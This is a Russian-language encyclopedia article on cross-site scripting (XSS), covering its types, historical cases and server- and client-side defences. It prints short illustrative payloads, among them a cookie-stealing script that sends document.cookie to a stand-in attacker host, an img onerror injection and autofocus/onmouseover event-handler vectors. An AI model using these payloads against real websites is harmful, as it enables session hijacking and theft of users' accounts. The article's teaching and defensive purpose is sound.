Межсайтовый скриптинг

Эта статья находится на начальном уровне проработки, в одной из её версий выборочно используется текст из источника, распространяемого под свободной лицензией
Материал из энциклопедии Руниверсалис

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя[1].

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».

XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 2021[2]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атаки[3].

Справочная информация

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена. Это правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com) (недоступная ссылка)[4].

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен JavaScript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к JavaScript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности.[5]

Атаки с использованием XSS библиотеке React JS во многом предотвращены, так как там всё преобразуется в строчки, перед тем как быть отрендеренным. Это гарантирует, что никто никогда не внедрит чего-либо, что не было явно написано JS-разработчиком в web приложении.

XSS уязвимости зарегистрированы и используются с середины 1990-x годов[6]. Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter[7], ВКонтакте[8], MySpace[9], YouTube[10], Facebook[11] и др.

Классификация

Не существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различает по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).

По вектору

Основной источник: [12]

Отражённые (непостоянные)

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой[13]. Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента без надлежащей обработки[14]. Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Пример: 

http://example.com/search.php?q=<script>DoSomething();</script>

Если сайт не экранирует угловые скобки, преобразуя их в «&lt;» и «&gt;», получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим для вектора XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (постоянные)

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID): 

<script>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>

DOM-модели

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript-сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример: 

<body>
<script>document.write(location.href);</script>
</body>

Пример DOM-модели XSS — баг, найденный в 2011 году в нескольких JQuery-плагинах[15]. Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки[16]. Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например, AngularJS[17].

По каналам внедрения скрипта

Основной источник: [18]

Ошибки в браузере

Когда из-за ошибки в браузере исправляют сайт

Bugzilla, 2004 год.[19] В некоторых браузерах (по крайней мере, Internet Explorer) при задании URL’а 

http://bugzilla.mozilla.org/enter_bug.cgi?
  <script>alert('foo');</script>

не происходит URL-кодирования, и код 

document.write(
   "<p>URL: " + document.location + "</p>");

внедрит в страницу скрипт.

Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML

Экранировать нужно все пользовательские тексты

phpBB, 2002 год[20][21]. Хотя URL картинок проверяется на протокол (разрешён только http:), сам URL никак не экранируется, и строкой наподобие 

[img]http://a.a/a"onerror="
   javascript:alert(document.cookie)[/img]

можно протащить в документ пользовательский скрипт.

Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: '"&<>. Сервер может экранировать не все символы (известный недостаток PHP[22]), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething();.

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений[23]. Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах

Типичным примером будет ссылка <a href="javascript:DoSomething()">. Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript: и data:.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ". Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной.[24]

Через внедрение SQL-кода

Основная статья: SiXSS

Если сайт и допускает внедрение SQL-кода, и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код,[25] то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.

Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт. Бывают атаки и без хранения HTML в БД — СУБД вместо хранящегося в БД поля вернёт тот скрипт, который записан в тексте запроса.

По способу воздействия

Основной источник: [26]

Активные

Активная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.

Пример:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а также у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.

Пассивные (автономные)

Пассивная XSS-атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).

Пример:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.

Средства защиты

Основной источник: [1]

Защита на стороне сервера

  • Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL)[27], htmlentities (для фильтрации HTML)[28].
  • Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project[29], HTML Purifier, htmLawed, Anti-XSS Class.
  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
  • Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей[30].
  • Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly[31], использованием SSL[32].
  • Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента

  • Регулярное обновление браузера до новой версии[18].
  • Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.

См. также

Примечания

  1. ↑ 1,0 1,1 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika. Post XSS Exploitation: Advanced Attacks and Remedies (англ.). — P. 9. (недоступная ссылка)
  2. ↑ OWASP Top 10 (англ.). OWASP. The Open Web Application Security Project (OWASP). Дата обращения: 30 января 2022. Архивировано 17 января 2020 года.
  3. ↑ Seth Fogie, Jeremiah Grossman, 2007, pp. 290, 379.
  4. ↑ Same Origin Policy (англ.). W3C. Дата обращения: 18 декабря 2014. Архивировано 27 января 2017 года.
  5. ↑ Grossman, Jeremiah. The origins of Cross-Site Scripting (XSS). Дата обращения: 15 декабря 2014. Архивировано 21 февраля 2017 года. (англ.)
  6. ↑ Seth Fogie, Jeremiah Grossman, 2007, p. 3.
  7. ↑ Mirkov, Denis. Twitter заразили вирусом. Хакер (21 сентября 2010). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  8. ↑ Mirkov, Denis. XSS-уязвимости ВКонтакте. Хакер (10 марта 2011). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  9. ↑ Mirkov, Denis. Сайт Sla.ckers.org открыл подборку XSS уязвимостей. Хакер (25 сентября 2006). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  10. ↑ Mirkov, Denis. Множественные уязвимости в YouTube Blog. Хакер (23 июля 2008). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  11. ↑ Mirkov, Denis. На Facebook обнаружена XSS-уязвимость. Хакер (26 мая 2008). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  12. ↑ Тюрин, Алексей. В поисках лазеек: гид по DOM Based XSS // Хакер : Журнал. — 2013. — № 172. — С. 80-85.
  13. ↑ Paco Hope, Ben Walther, 2008, p. 128.
  14. ↑ Cross-site Scripting (англ.). Web Application Security Consortium (2005). Дата обращения: 18 декабря 2014. Архивировано 1 июня 2010 года.
  15. ↑ JQuery bug #9521 (англ.). JQuery. Дата обращения: 18 декабря 2014. Архивировано 30 января 2017 года.
  16. ↑ DOM based XSS prevention cheat sheet (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 28 января 2017 года.
  17. ↑ Strict Contextual Escaping (англ.). AngularJS. Дата обращения: 18 декабря 2014. Архивировано 10 февраля 2014 года.
  18. ↑ 18,0 18,1 Cross-site Scripting (XSS) (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 22 декабря 2014 года.
  19. ↑ Bug 272620 - XSS vulnerability in internal error messages (англ.). Bugzilla@Mozilla. Дата обращения: 18 декабря 2014. Архивировано 30 октября 2014 года.
  20. ↑ US-CERT/NIST. Vulnerability Summary for CVE-2002-0902 (англ.) : сайт. — 2008.
  21. ↑ Boerwinkel, Martijn. Cross Site Scripting Vulnerability in phpBB2's IMG tag and remote avatar (англ.). seclists.org (26 мая 2002). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  22. ↑ Стандартная функция PHP htmlspecialchars по умолчанию не экранирует апостроф, и в сочетании с кодом "<a href='$htUrl'>" получается уязвимость.
  23. ↑ Простой парсинг BBcode на php. Веб-разработка. Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  24. ↑ The elements of HTML — HTML Standard (англ.). Web Hypertext Application Technology Working Group (WHATWG). Дата обращения: 18 декабря 2014. Архивировано 21 декабря 2019 года.
  25. ↑ Например, движок MediaWiki кэширует HTML-код страниц.
  26. ↑ Kochetkov, Vladimir. Вся правда об XSS или Почему межсайтовое выполнение сценариев не является уязвимостью?. SecurityLab (8 августа 2012). Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
  27. ↑ Очищающие фильтры. PHP. Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
  28. ↑ PHP:htmlentities (англ.). PHP. Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
  29. ↑ OWASP Java Encoder Project. The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 2 ноября 2014 года.
  30. ↑ Сноу, Джон. Маскарад символов: unicode-ориентированные аспекты безопасности // Хакер : сайт. — 2010.
  31. ↑ HttpOnly (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 26 декабря 2008 года.
  32. ↑ Hafner, Robert. How to create totally secure cookies (англ.) : сайт. — 2009.

Литература

  • Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov. XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543.
  • Paco Hope, Ben Walther. Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9.

Ссылки

Источник — https://xn--h1ajim.xn--p1ai/index.php?title=Межсайтовый_скриптинг&oldid=13467302